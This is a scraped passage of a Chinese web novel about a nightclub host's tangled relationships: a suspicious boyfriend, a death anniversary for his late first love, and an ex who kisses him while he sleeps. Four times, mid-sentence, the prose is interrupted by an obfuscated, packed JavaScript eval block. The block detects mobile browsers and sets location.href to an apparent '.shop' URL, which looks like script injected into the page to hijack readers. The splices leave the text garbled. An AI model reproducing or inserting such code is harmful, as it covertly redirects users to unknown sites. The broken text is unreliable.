毕竟也认识了好几年,云昭至对贺彦骁吃哪一套心知肚明,演得相当自然,连眼尾泛起的淡红都恰到好处。 果然—— 下一秒贺彦骁眼底的怀疑便被心疼代替,他抬起手用指尖轻轻拂过云昭至的眼尾,动作轻柔得像是在触碰易碎的瓷器。 “我哪有不信你,你说什么我都是信的。”男人指腹上的薄茧从雪白的皮肤轻轻刮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299254|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦,激起一阵细微的战栗:“我只是想多了解你一点,你总是很少对我提起你的生活和你的朋友。” 云昭至抿着唇吸了口气,像是在克制低落的情绪:“我的生活没什么好说的……很无聊很无趣,朋友也没几个。” 随后他扬起脸,眸中泛着粼粼水光:“最值得一提的也只有你了。” 趁着去洗手间,云昭至给李轩览回了个电话。 “你刚刚怎么挂我电话?是在接待客人?我怎么记得你今天不接客啊。”电话那头的李轩览怀疑地翻了翻日历。 云昭至站在镜子前整理发型,漫不经心地回:“和男朋友约会呢。” 私人影院的洗手间都是单间的,隔音也好,完全不怕被人听见。 李轩览嗤笑一声:“你那算什么男朋友,还没我们之前谈的认真。” 他们是在大一入学没多久谈的,两个人都没认真,后面发现还是更适合做朋友,所以只谈了几个月就分了。 云昭至动作一顿,忽然想起前几天,梁旭铭莫名问他是不是和李轩览谈过。 他没否认。 当时梁旭铭的眼神瞬间就变了,满身煞气藏都藏不住,脸色难看地追问:“你们谁提的分手?” 没有人问过云昭至这个问题,所有知情人都觉得他这样的交际花浪荡无心,分手肯定是他提的。 但是云昭至在短暂的错愕后却说:“不是我提的。” 言下之意,就是李轩览提的分手。 现在回想起来,那几个月的恋爱已经恍若隔世。 从洗手间出来后贺彦骁扭过头看了他一眼,脸上露出些许挣扎:“吱吱,我有件事想和你说。” “什么事?”云昭至走到他面前坐下,单手托腮。 对上他笑盈盈的双眸,贺彦骁心头又是一颤,缓缓吐出一句话:“你有没有想过辞职?” 云昭至脸上笑容不变,语气柔和:“什么意思?” 贺彦骁逐渐气定凝神:“我的意思是,你可以从云顶辞职,以后我养你。” 其实这些话他在和云昭至谈恋爱的第一天就想说了,但是准备说出口时却被突然出现的梁旭铭打断,所以才拖到了现在。 云昭至没有表现出质疑,而是状似认真思考了一会儿才面露惋惜地开口:“我也很想辞职每天和你待在一起……我也知道你有这个能力负担,但我没办法心安理得地接受你的好。” 他轻轻叹了口气:“你对我那么好,我都不知道怎么回报你。” “我不需要你回报。”贺彦骁有些着急:“你只要接受就好了。” 云昭至摇摇头,轻声细语:“贺先生,我知道你家里接受不了你和一个男人在一起,我不能给你带来那么大压力。” 见对方还要反驳,他又继续道:“而且我还有个弟弟呢,你忘了吗?我怎么好意思拖家带口地麻烦你?” 贺彦骁皱了皱眉,勉强歇了心思:“行吧。” 随后他想起云昭至刚刚对自己的称呼,不满道:“你怎么还和之前一样叫我?一点都不亲密。” 云昭至动作顿了顿,目光投向一旁,嗓音轻而柔:“那我以后叫你阿骁,可以吗?” 11. 忌日 “他想让你辞职?他脑子没问题吧?”姚鑫蔓捂着嘴,笑得前仰后合:“他真把自己当霸总呢,还他养你。” 云昭至叹了口气,漂亮的面孔却不见愁容:“谁知道他怎么想的呢。” “他想啥呢,你怎么可能因为谈恋爱就辞职啊。”姚鑫蔓笑得桌子都在抖:“工作是长久的,恋人可不一定。” 云昭至也笑了,因为他突然想起自己是想过辞职的。 只有过那么一次。 在他和梁骁和谈恋爱的时候,他真的有想过以后辞职找份其他工作。 往事不堪回首。 “贺彦骁真的信了你后面的话?就是你没给你前男友设置特殊铃声。”姚鑫蔓仰着脸继续问。 她知道云昭至有一个习惯,会给不同人设置不同的电话铃声,还会根据铃声调整自己接电话时的状态。 “他当然不信。”云昭至勾了勾唇:“分开前他当面打了个电话给我。” 那天约会结束前,贺彦骁忽然给他打了个电话。 熟悉的音乐铃声响起时云昭至愣了一下,却没觉得意外。 贺彦骁不动声色地解释:“不小心点错了,本来想打给司机的。” 云昭至知道他是在试探自己的铃声和李轩览是不是一样的,哪怕对方表面上被糊弄过去了,心里也还是在怀疑。 但他没有揭穿,只是扬起明艳的五官对着贺彦骁笑了笑,转过身去时脸上的笑容却立刻消失的无影无踪。 他确实不是每个人都用同样的电话铃声,亲朋好友,普通客人,同事……不同的分组会有不同音乐铃声。 在答应表白的那天,他就把贺彦骁设置成了“亲朋好友”那一个分组的铃声。 还好提前设置了。 云昭至垂下眼帘。 他就知道以贺彦骁多疑的性格这样做有备无患。 听完后姚鑫蔓啧啧称奇,语气半是打趣半是质疑:“小半夏你这是什么眼光,怎么这次谈了个这样的人?我看你也不怎么喜欢他,来找你表白的人比他有钱的多了去了,你怎么就同意了他?” 云昭至往面前的酒杯里加了一点草莓汁,用吧勺搅了搅,头也不抬地说:“他对我表白的方式,和我初恋当时对我表白的方式一模一样。” “你初恋?”姚鑫蔓眨了一下眼睛,似乎没有反应过来,声音下意识放低:“小梁的哥哥?” “嗯。”云昭至的神色漫不经心,调完酒后拿起来喝了一口,满意地眯了眯眼睛。 姚鑫蔓瞪大眼睛看着他,眸中情绪几经变换,最后选择用调侃的语气开口:“你不会还旧情难忘吧。” 云昭至放下酒杯,抬眸看向她的目光含笑:“怎么可能。” 姚鑫蔓不解:“那你为什么要因为贺彦骁表白方式和你初恋一样就同意?” 这次云昭至思考了很长一段才回答:“想试试会不会重蹈覆辙吧。” 这个答案让姚鑫蔓有些摸不着头脑,在看见云昭至脸上戏谑的笑容时更觉得对方只是在开玩笑,瞬间有些恼怒,故意说:“那肯定是会的。” 毕竟谁都知道贺彦骁家里不会同意,而贺彦骁连决定自己婚姻的权力都没有。 云昭至拿起酒杯一饮而尽,眼尾泛着微醺的淡红:“会就会吧。” 反正结果是既定的。 春夜的空气里弥漫着潮湿的水汽,打开门时云昭至没忍住打了个喷嚏。 “你感冒了?”听见开门声就连忙从房间里出来的梁旭铭立刻紧张兮兮地凑上前,伸手给他披上外套。 云昭至吸了吸鼻子:“没有。” 梁旭铭皱起眉,明显不信。 暖黄的灯光勾勒出云昭至精致的五官轮廓,投下的光晕中那双泛着水光的黑眸显得格外明亮。 梁旭铭盯着看了一会儿,不知道为何忽然觉得耳根发烫,连忙低下头不敢再看,突兀地开口问:“你……下周六还是不和我一起去吗?” 他没有说下周六是要去哪里,云昭至却听懂了,回房间的脚步顿了顿。 下周六是四月十三号,梁旭铭父母的忌日。 也是梁骁和的忌日。 云昭至沉默了很久,久到梁旭铭几乎以为他是在犹豫时才开口,只吐出冷冰冰的两个字:“不去。” 四月十三日很快到来,梁旭铭照例一大早出了门,为了不吵醒云昭至连关门都轻手轻脚。 他不知道的是此刻房间里的人根本没有睡着。 窗外的树木被风吹得簌簌作响,云昭至下床走到窗边,往外看了一会儿,直到眼眶都开始泛酸才眨了一下眼。 他冷笑一声,自言自语般呢喃:“你说是不是报应,忌日就在生日的前一天。” 梁骁和的生日在四月十四日,也就是明天。 曾经谈恋爱的时候云昭至就觉得这个日期不吉利,梁骁和却不以为然,还说该倒霉的时候根本不会挑日期。 片刻后,云昭至从客厅的酒柜里抱了几瓶酒进卧室,拧开瓶盖,坐在桌前低头细细啜饮。 酒的度数很高,刚喝几口他就开始头晕,扶着墙起身去拿床头柜上的手机。 几小时后梁旭铭风尘仆仆地从墓园回来,运动鞋上沾满泥泞。 余光瞟见云昭至的卧室门半掩着,他胡乱拍了拍身上的尘土,又理了理衣襟,这才推门走了进去。 出乎意料的是房间里空无一人。 梁旭铭往里走了两步,看见桌上的手机还亮着屏。 他随意地瞥了一眼,整个人瞬间僵在原地。 屏幕停留在视频播完的页面,定格的画面古早又模糊,只能依稀看到两道亲密的人影。 桌上闹钟滴答滴答的响声和心跳声逐渐重合在一起,梁旭铭咽了咽口水,最后还是没能抵住诱惑 ,手指颤抖着按下了播放键。 视频像素很模糊,杂音也多,应该是很多年前的视频了。 画面很不稳,拍视频的人像是一直在抖,他看了一会儿才反应过来,原来是拍视频的人一直在笑,还笑得浑身都在抖。 嘈杂的音乐声遮不住男人的告白,梁旭铭恍然大悟,这是梁骁和唱歌对云昭至表白的视频。 模糊的像素挡不住画面里两个人幸福的眉眼,梁旭铭第一次对云昭至过去很爱梁骁和有了实感。 原来云昭至爱一个人时是这样的。 “你在看什么?” 冷不丁的,身后响起熟悉的声音,被酒精浸过的尾调带着一丝黏糊。 刹那间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299255|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁旭铭的心脏仿佛从高处坠落,后背都冒出一层冷汗。 他扭过头,在云昭至狐疑的目光下瞳孔骤然紧缩,心急如焚地解释:“进来的时候我看见你的手机屏幕亮着……我不是故意偷看你手机的。” 说完后他小心翼翼地抬头窥了一眼,像是害怕主人生气的小狗。 云昭至没什么反应,只是脸色淡淡地瞥了眼手机,当着梁旭铭的面接过来继续翻看相册。 每一年梁骁和忌日这天,云昭至都会喝很多的酒。 他的手机里有个隐藏相册,里面全是高中时期的图片和视频,喝醉以后他就会看着相册里的各种照片视频发呆。 隐藏相册里的视频和照片不只有他和梁骁和的,还有他和当时同学朋友的合照,可惜无论是爱情还是友情,现在都已经物是人非。 梁旭铭看他一张张翻着梁骁和的照片,说不出心里是什么滋味。 这种感觉很难受,有点酸又有点涩,偏偏找不到宣泄口,也说不清具体的来源。 想起刚刚看见的视频,他犹豫了一下,怀着说不清的心思又一次和几年前一样低声开口:“你还爱他吗?” 在他十四岁那年,同样是在梁骁和的忌日,他问云昭至爱梁骁和吗。 那时候云昭至回答他,不爱,只是忘不掉。 而现在他又一次在梁骁和的忌日问了云昭至同样的问题。 云昭至这次笑了一下,抬眸望过来的眼神很复杂,他轻声说:“我不爱他,我恨他。” 他的眼底是浓烈到化不开的情绪,里面藏着最深的怨恨。 那个人凭什么一死了之?凭什么留他一个人?凭什么离开前还要攥着那枚珍珠耳坠,凭什么? 又凭什么早早写好遗书,遗产全部给他。 面前的空气里浮着灰尘,云昭至面无表情地说:“他去世越久,我就越恨他。” 话说出口的时候心底涌起一股莫名的畅快,嘴里却好像尝到了浓郁的铁锈味。 这时他手一抖点开了一个视频,和前面的视频是在同一天拍的,也就是梁骁和在KTV里对他表白的那一天。 云昭至皱了皱眉正想退出,视频里却突兀地响起了他的歌声,在一片鼎沸的人声中带着几分未脱的青涩,听起来格外动人。 他现在在人多的地方唱起歌来已经很熟练了,也经常会唱歌哄客人开心,但视频里的他有些羞涩放不开,还没有现在那么游刃有余。 梁骁和反而不怎么喜欢唱歌,除了表白那次,平时基本上只坐在下面听他唱。 这条视频里云昭至唱的是《醉赤壁》,刚好唱到:“前朝记忆渡红尘,伤人的不是刀刃——” 下一秒视频里的他把麦克风递给了梁骁和,炫彩的灯光下一双黑眸亮晶晶的。 梁骁和自然无法拒绝,下意识接过麦克风唱下一句:“是你转世而来的魂——” 云昭至笑盈盈地望着他,从面前人的眼底看见自己雪白的面容。 ——“前朝记忆渡红尘,伤人的不是刀刃” ——“是你转世而来的魂” 视频很快结束,云昭至的心里浮起淡淡的怅惘,当年不过随口一唱,现在回忆起来方觉疼痛。 何尝不算命中注定。 12. 前任 凌晨五点,万籁俱寂。 躺在床上的梁旭铭猛地睁开双眼,胸膛微微起伏。 东方的地平线已经开始泛起淡淡的鱼肚白,房间里的光线却依旧昏暗。 这一次梁旭铭出去喝水时客厅里并没有电视机的亮光,也没有人在沙发上对他勾手指让他过去。 平时这个点云昭至都会在客厅看电视,但今天他喝了很多酒,已经提前睡下了。 梁旭铭在黑暗中盯着沙发看了一会儿,上前在云昭至常坐的位置坐下。 快速跳动的心脏没有随着时间的流逝缓和下来,反而越跳越快,仿佛要跳出胸膛。 梁旭铭面无表情地看着桌上的空酒瓶,回想起刚刚那个梦。 或许是云昭至手机里的那些照片和视频对他造成了太大冲击,导致他竟梦见了视频里的场景。 他一开始在梦中听见歌声时还没反应过来,也可能是大脑自动将一切都合理化了。 直到他撞进一双含着水光的黑眸,才发觉那歌声竟然是从自己口中传出来的! 反应过来的一瞬间梁旭铭哪怕在梦里也出了一身冷汗, 云昭至手机里的视频很模糊,梁旭铭也并非在场的人,梦境却自动将一切细节都变得清晰而真实,就好像他真的是亲历者。 就好像他真的穿越时空,在代替梁骁和对云昭至唱歌表白。 意识到这一点后梁旭铭最先感受到的是近乎惊悚的恐慌,他不知道自己为什么会做这样的梦,心底却下意识升起几分愧疚和不安。 尽管他也不知道自己为什么会愧疚,毕竟做什么梦并不是他能够控制的。 天色一点点褪去墨色,窗外也传来清脆的鸟鸣,客厅里的一切随着光线逐渐明亮,透明的空酒瓶有些反光,阳光透过玻璃窗在地板上投射出斑驳的光影。 纷乱的思绪找不到出口,脑海中却不由自主浮现出梦中云昭至笑盈盈看着自己的画面。 梁旭铭毛骨悚然地发现,自己竟然在不自觉回味那个混乱的梦。 “叮咚——” 清晨突兀响起的门铃声把陷入思绪中的梁旭铭吓得心口一震,眉头跳了跳,下意识看向云昭至的房间门。 门外的人一直在按门铃,似乎很急躁。 接连不断的门铃声在此时此刻竟让梁旭铭产生一种心思被发现的心虚感。 片刻后他调整好表情,走到门边打开了门。 出乎意料的是,门口的人是李轩览。 梁旭铭和李轩览的见面次数不多,只知道对方是云昭至的大学舍友,也是云昭至为数不多的朋友。 以及,他总觉得李轩览对云昭至心怀不轨。 李轩览对他就更没好脸色,只把他当做云昭至初恋留下的拖油瓶。 “云昭至呢?” 一进门李轩览就四处张望,目光在桌上的空酒瓶上停留了几秒,随后没等梁旭铭回答就往云昭至卧室的方向走去。 梁旭铭上前一步挡住他的去路,脸上是不符合年龄的成熟稳重:“你找他有什么事吗?” 李轩览冷冰冰地看了他一眼,心里知道不应该和小孩计较,却还是没忍住指责般说了一句:“你和他住在一起都没发现他发烧了吗?” 瞳孔瞬间紧缩,梁旭铭怔在原地,一晚上纠结的各种情绪瞬间僵住。 下一秒李轩览绕开他走向云昭至的房间,进去后还不忘反手关上房门。 梁旭铭红着眼睛盯着紧闭的房门,心里全是懊恼和悔恨。 要是平时他肯定不会那么粗心,但他今天因为那个梦一直在胡思乱想,也就没有顾得上去看云昭至的状态。 沉默了一会儿,他忽然往自己头上打了一拳。 房间里,云昭至听见动静微微掀起眼皮看向来人,眼眸中含着朦胧的水光,声音沙哑:“你怎么来了。” 李轩览上前把他扶起身,没好气道:“不是你打电话喊我来的吗?” 云昭至用昏昏沉沉的大脑努力回想了一下,终于想起自己不久前头疼疼醒了,半梦半醒间好像迷迷糊糊地给谁打了个电话。 看来那个电话是打给了李轩览。 李轩览冷着脸,动作倒是很温柔,像是在对待什么易碎的珍宝。 测完温度后他松了口气,还好只是低烧。 云昭至愣愣地看着面前人,忽然就想起过去和对方有关的一些事情。 其实很少有人知道他们有过一段,有很多人都以为梁骁和是唯一一个和他谈过恋爱的人。 他和李轩览谈恋爱的时候是在大学,那时候他一直觉得对方没怎么认真,最后恋爱的时间也确实很短,只谈了几个月。 知道李轩览的名字是在大一入学那天,他们是舍友。 云昭至本来正在铺床,听见有人进来便转身想和新舍友打声招呼,却在看清来人的五官时愣了一下。 前一天他在云顶会所上班的时候有一个衣着时尚的男人找他要联系方式,但他没给。 那个男人就是李轩览。 李轩览挑了挑眉,显然也认出了他,拿出手机笑容轻佻:“这下可以加个联系方式了吧?” 云昭至知道李轩览喜欢他的脸,也知道李轩览对他是见色起意——这一点李轩览从未掩饰过。 加完联系方式的那天晚上,云昭至敲了敲洗手间的门:“有人吗?” 里面没有动静,他又重复了一遍。 下一秒门开了,一双大手把他拉了进去。 他和李轩览在洗手间里接了一个漫长的吻。 对方亲上来的第一时间流连夜场的云昭至就发现,这应该是李轩览的初吻。 李轩览亲的很生疏也很急切,完全没有找他要联系方式时那种轻车熟驾的感觉。 结束时两人唇间拉出一缕未断的银丝,云昭至满面潮红,一双美眸弥漫着雾气。 李轩览盯着那缕银丝眼底晦暗不明,喘着粗气道:“我们在一起吧。” 语气很随意,于是云昭至也很随意地应了:“好。” 这时候距离云昭至和梁骁和分手还不到一个月。 见他轻而易举答应,李轩览反而愣了一下,随后似乎是觉得看云昭至调情时的熟练这只是家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299256|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常便饭,所以也没有再说什么。 在一起之后倒没什么特别的,他们和普通情侣一样牵手接吻上床,云昭至觉得对方没认真,也无所谓。 见色起意无非就是荷尔蒙上头。 他们同龄,但熟悉后云昭至总觉得李轩览像是没长大,什么都想试试,又对什么都三分钟热度。 其实云昭至会答应也只是因为好奇而已,他和很多人上过床,但是认真谈恋爱的只有过梁骁和一个,所以想试试和其他人谈恋爱会不会有什么不同。 好像没什么不一样,又好像哪里都不一样。 比起情侣,他和李轩览很多时候其实更像是朋友,他们谈天说地,无话不谈。 恋爱期间云昭至照常上班,李轩览偶尔会去看他,还会帮他赶跑胡搅蛮缠的客人,但更多时候只是在角落沉默地抽烟。 恋爱一个月后的一天,他们聊天时聊到了理想型。 可能因为双方都没多认真,所以平时聊天都习惯了口无遮拦,也都不会在意对方的社交往来。 云昭至顺嘴开玩笑:“我有个同事很符合你理想型……如果你当时先遇到的是我那个同事,估计你‘一见钟情’的就不是我了。” 一见钟情不过是好听的说法,云昭至真正想说的其实是见色起意。 李轩览笑着看他,深情款款地表忠心:“不会,我的心里只有你,也只会对你一见钟情。” 云昭至习惯了他的甜言蜜语油嘴滑舌,漫不经心道:“我不用你哄我,坦白一点就好,我知道你对我没多喜欢。” 李轩览没说话,这个话题就这样过去了。 后来某一天做完以后在床上温存,云昭至昏昏欲睡时听见身后传来低沉的男声:“分手吧。” 说出这句话时李轩览把他抱得很紧,赤裸的皮肤紧紧贴在一起,说话的嗓音里甚至还带着情事后的暗哑。 云昭至没表现出惊讶,和听见表白时一样说:“好。” 身后的男人沉默了几秒才开口问了一句:“你不问我为什么吗?” 云昭至乖巧地顺着他问:“为什么?” 李轩览笑了一声,听不出情绪,他低下头轻轻吻了吻云昭至的发丝:“算了。” 他们在一起的很草率,分开也是。 后面他们还是朋友,只是身体上不再亲密无间。 不知不觉,竟也过去了那么多年。 云昭至蔫耷耷地垂着头,眼睛已经合上了一半,脸颊两侧泛着病态的红晕,丝毫没有平日的明艳张扬。 李轩览冷着脸伺候他吃药,看他这样子又止不住心软,语气也缓和了一点:“怎么又把自己折腾成这样?外面那么多空酒瓶不会全是你一个人喝的吧?” 不需要回答他都知道肯定是,云昭至从来不带未成年喝酒。 云昭至吃完药就躺了回去,被子盖住半张脸,只露出一双漂亮的眼睛,看起来像一只无精打采的小狐狸。 只瞥了一眼李轩览就移开目光,盯着被子上的褶皱看了好一会儿,忽然问:“为什么不打电话给你男朋友,而是打电话给我?” 13. 偷亲 半天都没有得到回应,李轩览抬起头,才发现云昭至已经睡着了。 他伸出手在云昭至泛红的眼尾上方虚虚拂过,却克制着没有去触碰。 从多年前他在云顶会所看见云昭至的第一眼,他就知道对方是怎样荒淫无度的一个人。 那时的云昭至驾轻就熟地游走在不同男人之间,一瞥一笑颇具风情,眼波流转间却隐隐透着纯净的水光。 媚而不俗,靡艳放/荡又楚楚动人。 空有一副好看皮囊的人在夜场里随处可见,李轩览虽然没有亲自参与过,但围观的次数不少,却从来没有碰到过心动的。 只有那一次,他无法将目光从云昭至身上挪开。 他听周围人说,那个红棕色头发的男人是这里最受欢迎的“交际花”,来找他的客人数不胜数。 所以一开始,李轩览并没有打算认真。 他一时兴起的事物太多了,虽然云昭至是他第一个如此感兴趣的活人,但他并不觉得对方和他其他三分钟热度的兴趣爱好会有什么区别。 可能是他的态度过于轻浮,让云昭至误会了他是身经百战的海王。 李轩览一开始觉得无所谓,后面也试图解释过,但云昭至只是笑笑,看不出是不信还是不在意。 比起恋爱,他们更像是在玩一场双方都心知肚明没有走心的游戏。 太过亲密太过无话不谈的很多时候都会被误会成心动,所以李轩览总以为只是一时上头,只是吊桥效应。 直到那一天他们去看新上映的喜剧电影,黑暗中李轩览拿爆米花的手和身旁人恰巧碰到,一瞬间心跳如鼓。 电影里的主角为了爱人义无反顾地选择赴死,那一刻他冒出的第一个想法是,如果是云昭至有事,他应该也会这样。 这个想法出现的很平淡,没有惊心动魄的情绪,就好像这个想法很平常。 下一秒他反应过来自己自然而然地想了什么,脸色刷一下全白了,背后也冒出冷汗。 他不自觉微微侧头,电影院昏暗的光线里云昭至蒲扇似的睫毛卷翘,眼底映出斑驳的电影画面。 电影院的空气里弥漫着爆米花和各种果茶混合在一起的气味,若有若无。 李轩览却从中嗅到了从云昭至身上传来的那点幽香,与此同时他听见了自己的心跳声。 咚、咚、咚。 心脏在胸膛里跳得飞快。 他忽然意识到自己完了。 好像不是一时上头,好像真的和之前三分钟热度的事物不一样。 好像他真的爱上了云昭至。 是他无数次告诫自己不该动心,是他明知道不会有结果还是一步一步不听使唤走到今天这一步。 这时喜剧电影放到了一个小高潮,电影院里瞬间爆发出笑声,云昭至也在抿着唇轻笑。 李轩览也笑了,顺利地融入。 黑暗掩盖住了他的表情,他的目光,他的一切情绪。 明亮的大屏幕在视线里一点一点变得模糊,字幕如同融化的糖浆粘连在一起,如同一团团色块,看不真切。 余光里,云昭至的面容也变得朦朦胧胧。 有一秒李轩览看见云昭至似乎微微侧头看向自己,但只是眨了一下眼睛的功夫对方又恢复了原来的姿势。 原来只是错觉。 云昭至在夜场待了好几年,有很多人爱戴他,也有很多人痛恨他。 但无论是前者还是后者都有一个共识:和云昭至谈感情是没有好结果的。 一个在夜场流连多年的交际花能有几分真心? 李轩览和那些人稍微有一点不同,他和云昭至更亲密,也更了解对方。 所以他更知道云昭至的多情无心,也知道他们继续这样下去迟早会变成一地狼藉。 所以他在还没有走到无法挽回的地步时主动提出分手,是想让自己及时止损,也是觉得当朋友更长久。 宁愿做永远的朋友,也不做云昭至身边来来往往的客人之一。 李轩览提出在一起和提出分手时都太淡然太随意,以至于云昭至那样聪明的人也会一叶障目。 他真的以为这是一场两个人都没有认真的恋爱游戏,而当游戏的另外一位玩家厌倦了提出结束,他也就很配合地点头同意,让两个人的关系从情侣变成朋友。 云昭至永远不会不知道那一场电影里李轩览偷偷看了自己多少次,他只知道这部电影很搞笑,只知道当时李轩览在身边笑得浑身发颤。 李轩览看着云昭至熟睡的面孔,恍惚间又想起自己提出分手的那天。 说出口前他的心情很复杂,既害怕云昭至问原因时自己不知道怎么回答,又害怕云昭至不问。 不问代表不在意。 怕云昭至呼吸不畅,李轩览轻轻把被子往下拉了拉,露出那张苍白的面容。 不如往日明媚,却透出一种惊心动魄的破碎感,嘴唇在惨白肤色的衬托下更显殷红,分外吸睛。 那点红仿佛融进了李轩览的眼底,将他的眸色也染得赤红。 房间里只有云昭至清清浅浅的呼吸声,氛围一片安静祥和。 李轩览盯着那点红,情不自禁俯下身,蜻蜓点水般在那柔软上碰了碰。 唇瓣相贴的那一秒身后的房门骤然打开,大脑还没反应过来瞳孔已经瞬间紧缩。 这个吻一触即分,李轩览直起身,回头就对上了少年震怒的目光。 没等对方发难,他就率先开口,语调冷静:“先出去。” 他看了一无所知睡着觉的云昭至一眼,目光里带着怜惜:“别吵醒他。” 李轩览表面上气定凝神,其实心里早就被恐慌占据,他无法预测出云昭至知道自己偷亲他之后的反应。 等到了客厅,梁旭铭立刻像一头愤怒的小兽一样冲上前,眼底燃着熊熊怒火。 他想过李轩览可能对云昭至怀有别样的心思,但到底没有亲眼见到,也没想过李轩览会在他和云昭至的小家就如此胆大妄为。 要知道云昭至客人再多也没有把人带到家里来过! 李轩览一不留神还真被重重打了一拳,肋骨瞬间爆发剧烈疼痛。 他倒吸一口凉气,云昭至都是怎么养孩子的,一个高中生长那么高壮力气还大,和他这个高大健壮的成年男人比起来也不相上下。 “你在对云昭至做什么?”梁旭铭气得眼睛都红了,甚至直接叫了云昭至的大名,看着面前人的眼神就像是在看有血海深仇的仇人。 那目光中的暴戾凶煞让见惯风浪的李轩览都在心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299257|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底暗暗吃惊,但他表面上依旧保持平静,甚至还笑了一下:“我为什么要对你解释?你是吱吱的谁?” 态度里的嘲讽和轻视昭然若揭,亲昵的称呼更是在梁旭铭的愤怒上又加了一把火,他当即就咬牙挥出拳:“你竟然这样对他……” 这次李轩览没有再和刚刚那样站着挨打,而是侧身躲过了这一拳,却没有选择还手,不然云昭至醒来肯定要怪他。 “我怎么对他了?我和他更亲密的事情都做过,亲一下算得了什么?”李轩览理直气壮:“我和他谈恋爱的时候你还不知道在哪喝奶呢,在这喊什么?” 梁旭铭脑子里“嗡”一声短路了。 李轩览竟然和云昭至谈过恋爱? 那为什么在他问云昭至谈过几次恋爱时对方说只有他哥一个? 没等纷乱的脑海理清思路,李轩览咄咄逼人的下一段话就砸了上来: “吱吱刚睡着你就闹,是存心不想让他睡好觉?还是想让他醒来给你当裁判?” 眼见梁旭铭已经快要气疯了,李轩览又轻飘飘一句话成功让对方停住了动作: “就是不知道在他心里是你这个决裂初恋的弟弟重要,还是我这个朋友重要了。” 梁旭铭的理智终于稍微回归,下意识觉得自己会是被放弃的那一个。 就算不是,在只有他动了手的情况下云昭至也肯定会生他的气。 这么一想,他更觉得李轩览阴险狡诈,说不定是想通过卖惨让云昭至心软。 半晌,梁旭铭面色沉沉道:“你就不怕我把你偷亲他的事情告诉他?” 李轩览冷下脸一言不发,从来没有一刻像现在这样觉得面前这个云昭至带在身边的小孩那么烦人过。 梁旭铭观察了一会儿,眉眼间的焦躁褪去,慢条斯理地开口:“哦,原来是怕的。” 沉默几秒,李轩览忽然露出一个虚假的笑,破罐子破摔般道:“你去告诉他啊,说不定他心里对我也有一点好感,你说了我就顺势对他表白,如果成了婚礼上让你坐主桌。” 梁旭铭没想到他那么不要脸,被气得快要吐血:“他怎么可能对你有好感?而且他现在有男朋友,你是在上赶着当小三吗?” 他头一回觉得云昭至有男朋友也是好事,起码可以劝退很大一部分对云昭至虎视眈眈的人。 李轩览眸光微动,语气意味深长:“有些事情你太小了还不明白,吱吱也不会和你说,他和他那个男朋友之间可没那么简单,他们不可能走到最后的。” 梁旭铭受够了对方那种话里话外暗示自己年龄小,对方和云昭至才是同龄人的高高在上,云昭至都很少这样教育他,李轩览凭什么? 把李轩览赶走后,梁旭铭轻手轻脚地走进云昭至的卧室。 春天的空气里仿佛都弥漫着潮湿的水汽,玻璃窗上雾蒙蒙一片。 梁旭铭给云昭至掖了掖被角,坐在床边发呆。 他想了很久也没想好,到底要不要把李轩览偷亲云昭至的事情说出来。 直觉告诉他云昭至现在对李轩览并没有爱情上的好感——但是万一呢? 毕竟他们在一起过,万一李轩览说的成真了呢?万一云昭至真的对李轩览也有那么一点心思,那他告诉云昭至不就等于变相撮合他们了? 14. 春梦 更何况,更何况…… 更何况就算云昭至现在真的对李轩览没有哪怕一点爱情,他们那么多年的交情真的会仅仅因为一次偷亲就彻底崩塌吗? 梁旭铭看不惯李轩览,也看不惯围绕在云昭至身边的每一个人,但他不得不承认,云昭至很依赖李轩览。 不是对恋人的依赖,而是对亲人朋友的那种依赖。 因为没有亲缘关系,加上职业原因导致交心朋友也不多,所以对于仅有的朋友云昭至都很珍惜。 这时床上的人忽然嘤咛出声,梁旭铭连忙俯下身,却发现云昭至双眼紧闭着,并没有醒来。 他下意识放轻了呼吸,用目光一点一点描摹床上人的面孔。 